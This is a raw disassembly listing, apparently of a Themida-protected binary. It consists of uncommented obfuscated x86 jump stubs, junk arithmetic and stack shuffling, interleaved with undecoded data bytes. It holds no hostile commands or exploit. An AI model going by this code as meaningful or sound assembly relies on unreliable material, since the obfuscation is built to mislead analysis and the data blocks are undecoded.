		dd 0FB2DFFFFh, 0FF3FFF2Ah, 0E95F2434h, 0FFFEFD3Ch, 2074BF57h
		dd 0DFF717D7h, 9955EF81h, 0E9B7FCh, 2D00001Eh, 573D65B6h
		dd 0FFA5EBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56CD3D:				; CODE XREF: Themida_:0055E0ACj
		add	dword ptr [esp], 4
		pop	edx
		push	eax
		mov	eax, 1A184D9Bh
		push	ebp
		mov	ebp, 4C773F49h
		add	ebp, 324C507Bh
		add	ebp, 9B54BDD3h
		sub	eax, ebp
		pop	ebp
		jmp	loc_570D77
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 5441BD55h, 0CD815B47h, 3E9622E5h, 3C37ED81h,	0E5C1502Eh
		dd 7F5AE907h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CD7E:				; CODE XREF: Themida_:00568D5Bj
		push	27A95F25h
		mov	edx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 281F6AE6h
		neg	eax
		jmp	loc_564C07
; ---------------------------------------------------------------------------


loc_56CD99:				; CODE XREF: Themida_:0056F2ACj
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_56D42F
; ---------------------------------------------------------------------------
		dd 4055854h, 5000000h, 4, 5C240487h, 55D8295Fh,	332FE9h
		db 0
byte_56CDBD	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0055C1ACo
		dd 4EC8324h, 89243C89h,	46856E7h, 5E000000h, 5589B951h
		dd 0E1810F40h, 4590301Ch, 230DE9h, 5AD58900h, 23B8E958h
		dd 815AFFFFh, 4C2h, 4EC8300h, 0B8240489h, 4, 74E9C229h
		db 7, 2	dup(0)
; ---------------------------------------------------------------------------


loc_56CE03:				; CODE XREF: Themida_:005623EBj
		add	ebp, 64FF0E93h
		pop	eax
		jmp	loc_565259
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481240Ch, 4, 0FEF506E9h, 6AEE81FFh, 0C1245217h, 0AE905EEh
		dd 56FFFF5Fh, 42474FFh,	6824348Bh, 5A63h, 0E9241C89h, 0FFFF6526h
; ---------------------------------------------------------------------------


loc_56CE40:				; CODE XREF: Themida_:00568C3Dj
		pop	esp
		jmp	loc_564D3C
; ---------------------------------------------------------------------------


loc_56CE46:				; CODE XREF: Themida_:0056676Ej
		sub	ebx, edx
		jmp	loc_55C706
; ---------------------------------------------------------------------------
		db 0BAh, 50h, 2
		dd 0D3017E4Ch, 0AAC3815Ah, 14B877Fh, 0AAEB81D3h, 0E94B877Fh
		dd 0FFFF8057h, 0E9241C89h, 0FFFFE212h, 50CAFE5Bh, 0DCF676B4h
		dd 0C0F1CC80h, 0EC8002E4h, 3F480FFh, 88E9E228h,	2DFFFF47h
		dd 4FBD228Fh, 2404335Ah, 33240431h, 248B2404h, 0FCFCE924h
		dd 0DBBAFFFFh, 316E9120h, 0C6815DEAh, 2C5D44AEh, 4A0BEE81h
		dd 0D60156A3h, 2499B850h, 7205665Bh, 0E9F04825h, 0FFFFE4A9h
; ---------------------------------------------------------------------------


loc_56CEC8:				; CODE XREF: Themida_:00560D7Dj
		push	ecx
		jmp	loc_560965
; ---------------------------------------------------------------------------
		dw 50E9h
		dd 83FFFEF4h, 0E951FFEEh, 0FFFFB88Dh
; ---------------------------------------------------------------------------


loc_56CEDC:				; CODE XREF: Themida_:00560990j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_568B5D
; ---------------------------------------------------------------------------
		db 66h
		dd 0F62FE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CEEE:				; CODE XREF: Themida_:0056FCCDj
		xor	eax, ecx
		push	eax
		not	dword ptr [esp]
		jmp	loc_56D77D
; ---------------------------------------------------------------------------


loc_56CEF9:				; CODE XREF: Themida_:0055D482j
		pop	ebx
		jmp	loc_55CB09
; ---------------------------------------------------------------------------


loc_56CEFF:				; CODE XREF: Themida_:00561E4Cj
		xor	esi, edx
		mov	edx, [esp]
		jmp	loc_56D97E
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 0E9000000h, 0FFFF567Bh, 5D58C189h, 7AA568h, 240C8900h
		dd 190B0EB9h, 6CCC0528h, 0C8015424h, 246CCC2Dh,	0A4055954h
		dd 29745016h, 16A42DC8h, 0E2D7450h, 5928190Bh, 1E3E68h
		dd 243C8900h, 0FF4E92E9h, 5BF800FFh, 0FFE28AE9h, 242C33FFh
		dd 8124248Bh, 4ECh, 240C8900h, 299C6856h, 0B4E90CE2h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56CF73:				; CODE XREF: Themida_:0056A3C5j
		not	edi
		and	edi, 4BD57E59h
		xor	edi, 664D32E3h
		push	edi
		jmp	loc_55DD5E
; ---------------------------------------------------------------------------
		db 1
		dd 2434FFF8h, 0FFB8D0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56CF91:				; CODE XREF: Themida_:00560F29j
		xor	dh, 6Dh
		push	ebx
		mov	bl, 0D6h
		sub	bl, 9
		push	edx
		mov	dl, 1Eh
		dec	dl
		shl	dl, 8
		jmp	loc_56B5B4
; ---------------------------------------------------------------------------
		db 50h
		dd 4B8h, 0F40AE900h, 468FFFEh, 5D000000h, 0C60AA405h, 0E9E80129h
		dd 3714h, 0AEE3815Dh, 812E853Eh, 751D73F3h, 0E9D88906h
		dd 0FFFF1DE5h, 805BFD28h, 0DDF601EDh, 30D4ED80h, 0C8B66E8h
		dd 0E1895124h, 4C181h, 0C2E90000h, 52000011h, 0FF10E5E9h
		dd 0EE381FFh, 813C0234h, 223231EBh, 7DE95534h, 5EFFFFBAh
		dd 0FF4D54E9h, 81EED1FFh, 271F90F6h, 0F7D6F714h, 4EEC1D6h
		dd 7F9AEE81h, 0F389C096h, 0FEFE64E9h, 1C4F35FFh, 0C501550Bh
		dd 0BBC58158h, 0E95070F2h, 2790h
; ---------------------------------------------------------------------------


loc_56D044:				; CODE XREF: Themida_:0055C80Ej
		push	480Dh
		mov	[esp], edi
		push	2F847269h
		pop	edi
		add	ebp, edi
		pop	edi
		add	ebp, 7EE724C7h
		jmp	loc_565301
; ---------------------------------------------------------------------------


loc_56D060:				; CODE XREF: Themida_:0055F674j
		xor	esi, 2C445A5Ah
		sub	eax, esi
		jmp	loc_568978
; ---------------------------------------------------------------------------
byte_56D06D	db 66h,	8Bh, 4		; DATA XREF: Themida_:0055C178o
		dd 0E1895124h, 4C181h, 0EC830000h, 24148904h, 4EC81h, 0C890000h
		dd 4EC8324h, 0BE243489h, 4A231A56h, 16B9E681h, 0BF572557h
		dd 0FFFCEDF2h, 0FF25A0E9h, 0ACC581FFh, 5263FC56h, 0E763A0BAh
		dd 55D2F744h, 0ECEBDh, 5DEA212Eh, 5C94F281h, 0D00116B1h
		dd 2DE8295Ah, 3CB150DAh, 0FFF4ACE9h, 0EE295AFFh, 52EE815Dh
		dd 8122230Ch, 0B42581C6h, 680Bh, 97E90000h, 58FFFF74h
		dd 2045B435h, 58C3013Dh, 0FFEDEBE9h, 4C181FFh, 81000000h
		dd 4C1h, 240C8700h, 241C8B5Ch, 0FF5FB7E9h, 243C87FFh, 8924248Bh
		dd 0E589242Ch, 4C581h, 8BE90000h, 0FFFFFFF7h, 0E95E2434h
		dd 0FFFFEF45h, 6A1A68h,	240C8900h, 3E0EBD55h, 0BB53757Dh
		dd 757D3E12h, 0FF06C7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D149:				; CODE XREF: Themida_:00564C95j
		sub	ebp, 68E2B6Eh
		add	ebp, ecx
		add	ebp, 68E2B6Eh
		pop	ecx
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_561C11
; ---------------------------------------------------------------------------
		dw 15Dh
		dd 3D7AE9F2h, 0B9510000h, 4, 0FFEDC4E9h, 0E6F480FFh, 8081F480h
		dd 5AE920ECh
		db 59h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D187:				; CODE XREF: Themida_:0055F0A8j
		pop	esp
		add	esp, 4
		push	5ABCh
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	ebp
		mov	ebp, 4
		jmp	loc_56FB58
; ---------------------------------------------------------------------------


loc_56D1AF:				; CODE XREF: Themida_:0055D345j
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_56E94D
; ---------------------------------------------------------------------------


loc_56D1C7:				; CODE XREF: Themida_:00570500j
		push	0DAC422Eh
		mov	ebx, [esp]
		add	esp, 4
		shl	ebx, 8
		or	ebx, 572B773Ch
		shr	ebx, 7
		push	edx
		mov	edx, 72C73A35h
		add	ebx, edx
		pop	edx
		jmp	loc_56CC40
; ---------------------------------------------------------------------------
		dd 2BAh, 5AD18900h, 61C1E955h, 4C01FFFFh, 88E90424h, 33000035h
		dd 0E95C2404h, 0FFFF2FB9h
; ---------------------------------------------------------------------------


loc_56D20C:				; CODE XREF: Themida_:00564FE0j
		mov	ecx, edi
		pop	edi
		pop	eax
		sub	[esp+8], ecx
		pop	ecx
		pop	ebp
		push	dword ptr [esp]
		jmp	loc_5600E9
; ---------------------------------------------------------------------------


loc_56D21E:				; CODE XREF: Themida_:00569659j
		jmp	loc_55C323
; ---------------------------------------------------------------------------
		db 8Bh
		dd 3CD32424h, 0CCE99C24h
		db 9Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D22F:				; CODE XREF: Themida_:0055F0C3j
		mov	edx, edi
		pop	edi
		push	eax
		mov	eax, 39152A13h
		sub	eax, 0D931178h
		or	eax, 70C1498Eh
		jmp	loc_56BA5D
; ---------------------------------------------------------------------------
		db 83h
		dd 1C8904ECh, 4BB24h, 99E90000h, 89FFFF03h, 4BD242Ch, 53000000h
		dd 3542E9h, 0E9EF2900h,	0FFFFC115h, 0CC0BE95Fh,	5752FFFFh
		dd 0B40F8668h, 0E9565F37h, 0FFFF2723h, 63C5815Dh, 81AD6A4Bh
		dd 827378C1h, 0E9E9292Fh, 0FFFF92E9h, 1649B3B8h, 0D23EBD79h
		dd 0ED819A1Bh, 15D63E87h, 0E956C501h, 0FFFFA95Dh
; ---------------------------------------------------------------------------


loc_56D2AC:				; CODE XREF: Themida_:0055E319j
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_56FCD2
; ---------------------------------------------------------------------------
		db 68h
		dd 5C8h, 53240489h, 626788BBh, 9721E978h, 0C483FFFFh, 0E9CF0104h
		dd 0FFFF8ECEh
; ---------------------------------------------------------------------------


loc_56D2D4:				; CODE XREF: Themida_:00569BA7j
		add	dh, 5Ah
		not	dh
		inc	dh
		shr	dh, 8
		push	ax
		mov	al, 46h
		xor	dh, al
		pop	ax
		jmp	loc_569824
; ---------------------------------------------------------------------------
		db 59h
		dd 0E904C483h, 0FFFFC209h, 0FFEA814Ah, 4AFFFFFFh, 7691BB53h
		dd 0DA312402h, 90C2815Bh, 89D6478Bh, 34E95AD1h,	87FFFF83h
		dd 0F8E92434h, 5200001Fh, 961E50BAh, 0B6CA810Fh, 81205904h
		dd 20E10EC2h, 5AD601D0h, 8B243487h, 0C3812424h,	4DA254CCh
		dd 8904EC83h, 0EE9243Ch, 1FFFFC6h, 0BC181D1h, 8B60834Bh
		dd 240C8B01h, 728E950h,	7C2DFFFFh, 1254048h, 2434FFC6h
		dd 0E924048Bh, 0FFFF1ED7h, 4E981h, 0C870000h, 24248B24h
		dd 0FF5360E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D37D:				; CODE XREF: Themida_:00561EC7j
		mov	ebp, [esp]
		jmp	loc_565814
; ---------------------------------------------------------------------------
		db 0B0h, 3Fh, 0
		dd 48B66C6h, 47C86824h,	1C890000h, 793D6824h, 24890000h
		dd 24048324h, 39E95B04h, 50FFFEF0h, 866602B8h, 35BF357Ch
		dd 0E0C11C0Eh, 0E9D8F702h, 1BF8h, 0BE565854h, 4, 0FF3FD4E9h
		dd 0C8B5FFFh, 4EC8124h,	89000000h, 0E2892414h, 4BB53h
		dd 0DA010000h, 24B3E95Bh, 0E3810000h, 249B7C0Fh, 0F3FCC381h
		dd 9DE9DF74h, 33FFFF67h, 35E9241Ch, 81FFFF03h, 8F530F5h
		dd 0E9EA01CDh, 0FFFF198Dh, 0F14554B8h, 5A53055Ch, 43E9EE09h
		dd 31000033h, 0E6E95BDDh, 83FFFF02h, 0C8904ECh,	71E95624h
		db 41h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D42F:				; CODE XREF: Themida_:0056CD9Fj
		add	dword ptr [esp], 4
		pop	edi
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_568790
; ---------------------------------------------------------------------------
		db 33h
		dd 1C31241Ch, 241C3324h, 0FF6897E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D459:				; CODE XREF: Themida_:00570A82j
		sub	esp, 4
		jmp	loc_55E81E
; ---------------------------------------------------------------------------


loc_56D464:				; CODE XREF: Themida_:0056D98Aj
		push	7AEFh
		mov	[esp], edi
		mov	edi, 65854928h
		add	edi, 1A461692h
		sub	esi, edi
		pop	edi
		add	edi, 0E517DFDh
		sub	edi, esi
		sub	edi, 0E517DFDh
		jmp	loc_56CA9B
; ---------------------------------------------------------------------------
byte_56D48D	db 66h,	8Bh, 4		; DATA XREF: Themida_:0055C160o
		dd 4EC8324h, 0FF5816E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D499:				; CODE XREF: Themida_:005605D5j
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55CC1F
; ---------------------------------------------------------------------------
		db 81h
		dd 0EE456FEDh, 5DEA89D2h, 0F281D2F7h, 7F049C69h, 15AD029h
		dd 348B58C3h, 4C48324h,	4EC81h,	1C890000h, 81E38924h, 4C3h
		dd 4EB8300h, 2474FF53h,	2897E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D4E2:				; CODE XREF: Themida_:0056D5B6j
		pop	esp
		pop	dword ptr [edi+20h]
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_56BF24
; ---------------------------------------------------------------------------
		dd 4C481h, 0C870000h, 24248B24h, 0FF2DE3E9h, 5CA1BAFFh
		dd 0CA01ED02h, 0FF7975E9h, 0CE085BFFh, 0FFF9CEE9h, 4EC81FFh
		dd 89000000h, 2FB9240Ch, 6829FD48h, 2EEFh, 0BF243C89h
		dd 1B1D000Bh, 227C781h,	0BB530153h, 0B105602h, 5EBC143h
		dd 0FFF2C2E9h, 240483FFh, 22E8E904h, 0C5810000h, 295B29D6h
		dd 2961E9h, 81D38700h, 4ECh, 24148900h,	52241487h, 8B2414F7h
		dd 77E92414h, 58FFFF85h, 8B241487h, 1C892424h, 81E38924h
		dd 4C3h, 6E046800h, 0C890000h, 4EC8124h, 89000000h, 0C9E9241Ch
		dd 53FFFFF1h, 4F2215BBh, 5150E974h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D5AA:				; CODE XREF: Themida_:005689ACj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_56D4E2
; ---------------------------------------------------------------------------


loc_56D5BB:				; CODE XREF: Themida_:0055DD45j
		mov	[esp], edi
		push	eax
		mov	eax, 71032880h
		mov	edi, 71032880h
		sub	edi, eax
		pop	eax
		sub	edi, ecx
		xor	ecx, edi
		xor	edi, ecx
		xor	ecx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_5606EC
; ---------------------------------------------------------------------------
		db 0B6h
		dd 0E0F68009h, 88C8F680h, 0B3E95AF5h
		db 0F0h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56D5F3:				; CODE XREF: Themida_:005606A7j
		xor	edi, eax
		pop	eax
		add	ebx, edi
		pop	edi
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_570C21
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 22E95124h, 89000010h, 366C68E3h, 0C890000h, 4B924h
		dd 0CB010000h, 0EC835659h, 242C8904h, 4EC81h, 4890000h
		dd 0A6E95224h, 68FFFF5Dh, 355h,	0FF7C95E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D64D:				; CODE XREF: Themida_:0056517Aj
		push	ebp
		push	ebx
		mov	ebx, 26A97819h
		add	ebx, 1
		push	esi
		mov	esi, 0D95687EAh
		jmp	loc_55D1A9
; ---------------------------------------------------------------------------
		dw 0E955h
		dd 18ABh
dword_56D668	dd 24048B66h, 4EC81h, 1C890000h, 1476824h, 49E90000h, 81FFFFADh
					; DATA XREF: Themida_:0055C114o
		dd 4C2h, 24143300h, 0FF6CDCE9h,	0F7814FFFh, 93FEC4E5h
		dd 0E95FFA01h, 0FFFF9065h, 395EBB53h, 0F74B23DDh, 49C381D3h
		dd 81252460h, 416FA7E3h, 10E94B03h
		db 2Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56D6B7:				; CODE XREF: Themida_:0056F418j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_560298
; ---------------------------------------------------------------------------


loc_56D6CE:				; CODE XREF: Themida_:0055D63Ej
		push	ecx
		jmp	loc_56793C
; ---------------------------------------------------------------------------


loc_56D6D4:				; CODE XREF: Themida_:005676A3j
		mov	edx, esp
		push	12BAh
		mov	[esp], edi
		push	4
		pop	edi
		add	edx, edi
		pop	edi
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	eax, edx
		jmp	loc_563C9B
; ---------------------------------------------------------------------------
		dw 515Dh
		dd 0FF7599E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D701:				; CODE XREF: Themida_:0056971Fj
		xchg	ecx, [esp]
		pop	esp
		mov	edx, [esp]
		jmp	loc_56F82B
; ---------------------------------------------------------------------------
		db 56h,	0E9h, 0A5h
		dd 29FFFF5Dh, 24148BD0h, 4C481h, 31E90000h
		db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D723:				; CODE XREF: Themida_:0056C4CAj
		push	ebx
		jmp	loc_560ABB
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 0Fh
		dd 40374B7Fh, 0F795D8F7h, 0E0C195D5h, 0F593E905h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56D73E:				; CODE XREF: Themida_:0056AFCDj
		xchg	edi, [esp]
		pop	esp
		jmp	loc_560E31
; ---------------------------------------------------------------------------
		db 56h
		dd 4BEh, 5EF50100h, 4BA52h, 0BE560000h,	52221711h, 5C3E681h
		dd 4CE976B2h, 89FFFF6Ah, 4C581E5h, 81000000h, 4C5h, 242C8700h
		dd 0FFD9FFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D77D:				; CODE XREF: Themida_:0056CEF4j
		mov	eax, [esp]
		push	4FEAh
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_5676F6
; ---------------------------------------------------------------------------
		db 54h,	0E9h, 0BEh
		dd 0BAFFFF2Eh, 0B68893h, 15AD531h, 242C8BE8h, 4C481h, 0EC810000h
		dd 4, 0BB241C89h, 4, 1C8BD801h,	4C48124h, 50000000h, 42474FFh
		dd 6824048Bh, 774Fh, 0FF6804E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D7D9:				; CODE XREF: Themida_:0056FE28j
		mov	[esp], esp
		push	ebx
		push	esi
		jmp	loc_561A92
; ---------------------------------------------------------------------------


loc_56D7E3:				; CODE XREF: Themida_:00564EE2j
		mov	eax, esp
		push	edi
		push	6B6Ah
		mov	[esp], ebx
		jmp	loc_56091E
; ---------------------------------------------------------------------------
		db 56h
		dd 6E1C64BEh, 8BF30145h, 0C4812434h, 4,	3FBA525Dh, 813D3372h
		dd 8DD967C2h, 5AD029FEh, 0A605D801h, 0FF3BC14Bh, 0FEE92434h
		db 12h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D823:				; CODE XREF: Themida_:005694BDj
		mov	ebx, 78A13D4Eh
		sub	edx, ebx
		mov	ebx, [esp]
		jmp	loc_56F4C9
; ---------------------------------------------------------------------------


loc_56D832:				; CODE XREF: Themida_:00561E40j
		sub	esp, 4
		mov	[esp], edx
		not	dword ptr [esp]
		pop	edx
		sub	esp, 4
		jmp	loc_5637AC
; ---------------------------------------------------------------------------
		dd 0A4E9DA01h, 55FFFF92h, 0AD9BE56h, 0E6817CDFh, 562D3A9Ch
		dd 0FF5EA1E9h, 0E9D5F7FFh, 0FFFFA1BDh, 0C781DFF7h, 195E32B1h
		dd 0E9EF781h, 0FA89D3A2h, 0D5EA815Fh, 51138528h, 0DEB36BB9h
		dd 59CA018Bh, 6995E981h, 23E953FAh
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56D88F:				; CODE XREF: Themida_:00564CD3j
		sub	dword ptr [esp], 68292F31h
		pop	ebp
		add	ebp, 68292F31h
		jmp	loc_56EA89
; ---------------------------------------------------------------------------
		dw 0D509h
		dd 0FBBB535Ah, 0E9337658h, 0FFFFFB6Bh
; ---------------------------------------------------------------------------


loc_56D8B0:				; CODE XREF: Themida_:0056E1D6j
		add	esp, 4
		push	ecx
		mov	ecx, 3FF245EEh
		sub	ecx, 6D975DA5h
		xor	ecx, 46433B3Dh
		push	esi
		mov	esi, 9419D370h
		sub	ecx, esi
		pop	esi
		add	ebx, ecx
		pop	ecx
		jmp	loc_565209
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 31000000h, 8F66C3h, 0FEEA3AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D8E9:				; CODE XREF: Themida_:0056AE6Cj
		push	dword ptr [esp]
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_56EE03
; ---------------------------------------------------------------------------
		db 0C1h, 0EEh, 2
		dd 0A983EE81h, 37E9BD65h, 87FFFF06h, 248B241Ch,	1BE95624h
		dd 83FFFF77h, 0BE5604C4h, 38910085h, 27CDE681h,	0C681379Dh
		dd 3A3B13BAh, 0FF325DE9h, 0E9D801FFh, 0FFFF102Eh, 74A2EA81h
		dd 0CA010621h, 0FF85FFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D945:				; CODE XREF: Themida_:0056D971j
		add	ebp, esi
		jmp	loc_568D2E
; ---------------------------------------------------------------------------


loc_56D94C:				; CODE XREF: Themida_:0055F6ABj
		add	eax, ebp
		push	dword ptr [esp]
		jmp	loc_570CF4
; ---------------------------------------------------------------------------


loc_56D956:				; CODE XREF: Themida_:0056A2FEj
		mov	ecx, 4
		push	eax
		mov	eax, 432304E4h
		sub	ebp, 25C0041Dh
		jmp	loc_56DA65
; ---------------------------------------------------------------------------


loc_56D96C:				; CODE XREF: Themida_:00567043j
		mov	esi, 4
		jmp	loc_56D945
; ---------------------------------------------------------------------------


loc_56D976:				; CODE XREF: Themida_:0056F85Ej
		add	dl, 91h
		jmp	loc_5633FA
; ---------------------------------------------------------------------------


loc_56D97E:				; CODE XREF: Themida_:0056CF04j
		add	esp, 4
		or	esi, 31425EAAh
		jmp	loc_56D464
; ---------------------------------------------------------------------------
		db 20h
		dd 24048BE5h, 8004C483h, 0B65255F5h, 20EE80AEh,	0D0F9CE80h
		dd 80C6FEE6h, 0F00020F6h, 2D91E95Ah, 0D2F7FFFFh, 8304EAC1h
		dd 3C8904ECh, 2699BF24h, 0EFC130B8h, 0EFC14F07h, 0E7C14705h
		dd 0C0EF8108h, 2957DAA5h, 0D7095FFAh, 0FFA5BEE9h, 8038B6FFh
		dd 0CEFE30F6h, 0E90DC680h, 0FFFEEFC5h, 5C241C87h, 8904EC83h
		dd 0BD552424h, 4, 4246C01h, 24048F5Dh, 13B3E9h
		db 0
; ---------------------------------------------------------------------------


loc_56DA09:				; CODE XREF: Themida_:005645F2j
		sub	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_564C6C
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 148B0424h, 4C48324h,	5C24048Fh, 4245401h, 5324148Bh
		dd 0BA52E389h, 1FF956D6h, 6E7EC281h, 32E9134Dh
		db 93h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DA53:				; CODE XREF: Themida_:00560CF4j
		mov	edi, 1EBD2226h
		push	ebp
		mov	ebp, 1D5E3106h
		or	edi, ebp
		jmp	loc_56DD4A
; ---------------------------------------------------------------------------


loc_56DA65:				; CODE XREF: Themida_:0056D967j
		add	ebp, eax
		add	ebp, 25C0041Dh
		pop	eax
		sub	ebp, ecx
		sub	ebp, 432304E4h
		pop	ecx
		jmp	loc_56BD6F
; ---------------------------------------------------------------------------
		dd 0BB53E789h, 6DE6500Eh, 0FFF574E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56DA89:				; CODE XREF: Themida_:00562429j
		push	edx
		mov	dh, 0F1h
		jmp	loc_560DFF
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 4240481h, 8F000000h,	4812404h, 424h,	0DFE95900h
		db 2Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56DAAB:				; CODE XREF: Themida_:0056C03Dj
		add	edi, 4
		jmp	loc_55D6FE
; ---------------------------------------------------------------------------


loc_56DAB6:				; CODE XREF: Themida_:00561A37j
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_56CA29
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 81h
		dd 4C2h, 4EC8300h, 0FEF61DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56DAD5:				; CODE XREF: Themida_:00565C6Fj
		push	edx
		mov	edx, 3F4C25E4h
		xor	edx, 42F066D1h
		not	edx
		add	edx, 7B8839ECh
		or	edx, 58FE2B5Ah
		add	edx, 763D7F0Dh
		add	ebp, edx
		pop	edx
		add	ebp, 137535ABh
		add	ebp, eax
		push	ecx
		jmp	loc_5672B3
; ---------------------------------------------------------------------------
		dw 8150h
		dd 6293242Ch, 0E2E91C4Fh
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DB13:				; CODE XREF: Themida_:00562527j
		push	esi
		push	edi
		push	6DC83279h
		jmp	loc_56DB69
; ---------------------------------------------------------------------------


loc_56DB1F:				; CODE XREF: Themida_:0055ED4Cj
		push	ebp
		mov	ebp, 3DC16AA0h
		xor	edx, ebp
		pop	ebp
		add	edx, 0BE2C08Dh
		mov	eax, edx
		pop	edx
		inc	eax
		jmp	loc_56463D
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0E2E9241Ch, 5EFFFF29h, 8B242C87h, 2AE92424h,	81FFFF0Bh
		dd 5B3573C2h, 24542982h, 24148B04h, 0F747E953h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56DB5E:				; CODE XREF: Themida_:00561F1Aj
		and	ecx, 1AF555Dh
		jmp	loc_55FE47
; ---------------------------------------------------------------------------


loc_56DB69:				; CODE XREF: Themida_:0056DB1Aj
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_570700
; ---------------------------------------------------------------------------


loc_56DB77:				; CODE XREF: Themida_:0056598Bj
		push	2FDB0A7Eh
		jmp	loc_56EC84
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 35A0E950h, 0E950FFFFh, 0FFFF3FF9h, 8B240C87h, 0C9E92424h
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DB9B:				; CODE XREF: Themida_:00560C59j
		add	edi, 354A7E23h
		xor	edi, 6558E660h
		sub	eax, edi
		pop	edi
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebp
		push	edx
		push	ebp
		mov	ebp, 45C1338Ch
		inc	ebp
		jmp	loc_568762
; ---------------------------------------------------------------------------
		dw 1FB8h
		dd 2960403Ch, 0A84E9C3h, 0C87FFFFh, 0EC835C24h,	24048904h
		dd 405E089h, 5000000h, 4, 2474FF50h, 1966E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56DBEA:				; CODE XREF: Themida_:0055D9CEj
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_569B04
; ---------------------------------------------------------------------------


loc_56DBF3:				; CODE XREF: Themida_:0056BE6Ej
		pop	edx
		jmp	loc_5640F2
; ---------------------------------------------------------------------------


loc_56DBF9:				; CODE XREF: Themida_:0055E2F1j
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_56E704
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0E9242489h, 0FFFF716Eh, 0F04C483h, 8A68C8B7h, 89000014h
		dd 0AD682404h, 0E9000075h, 110Ah, 56F8015Eh, 1671A1BEh
		dd 0D6C6814Ah, 0C1DA48F0h, 555002EEh, 15674A68h, 242C8B02h
		dd 4C481h, 0CD810000h, 632312E2h, 8816C581h, 0E8899CC8h
		dd 96F0295Dh, 2E6C158h,	8102E6C1h, 274A2FEEh, 5EF00166h
		dd 50243C8Bh, 405E089h,	83000000h, 0EAE904C0h, 5DFFFF78h
		dd 2FCCE781h, 0DFF74ADBh, 0EF81D7F7h, 84B0B7Dh,	335FF901h
		dd 0C31240Ch, 240C3324h, 0E9F7665Ch, 4EC81h, 0C890000h
		dd 50E18924h, 4B8h, 0FFC10100h,	50582434h, 2E9EE9h, 46F38100h
		dd 897ABAC4h, 0B9515BDFh, 2EB31969h, 8FE9CF31h
		db 3Bh,	2 dup(0FFh)
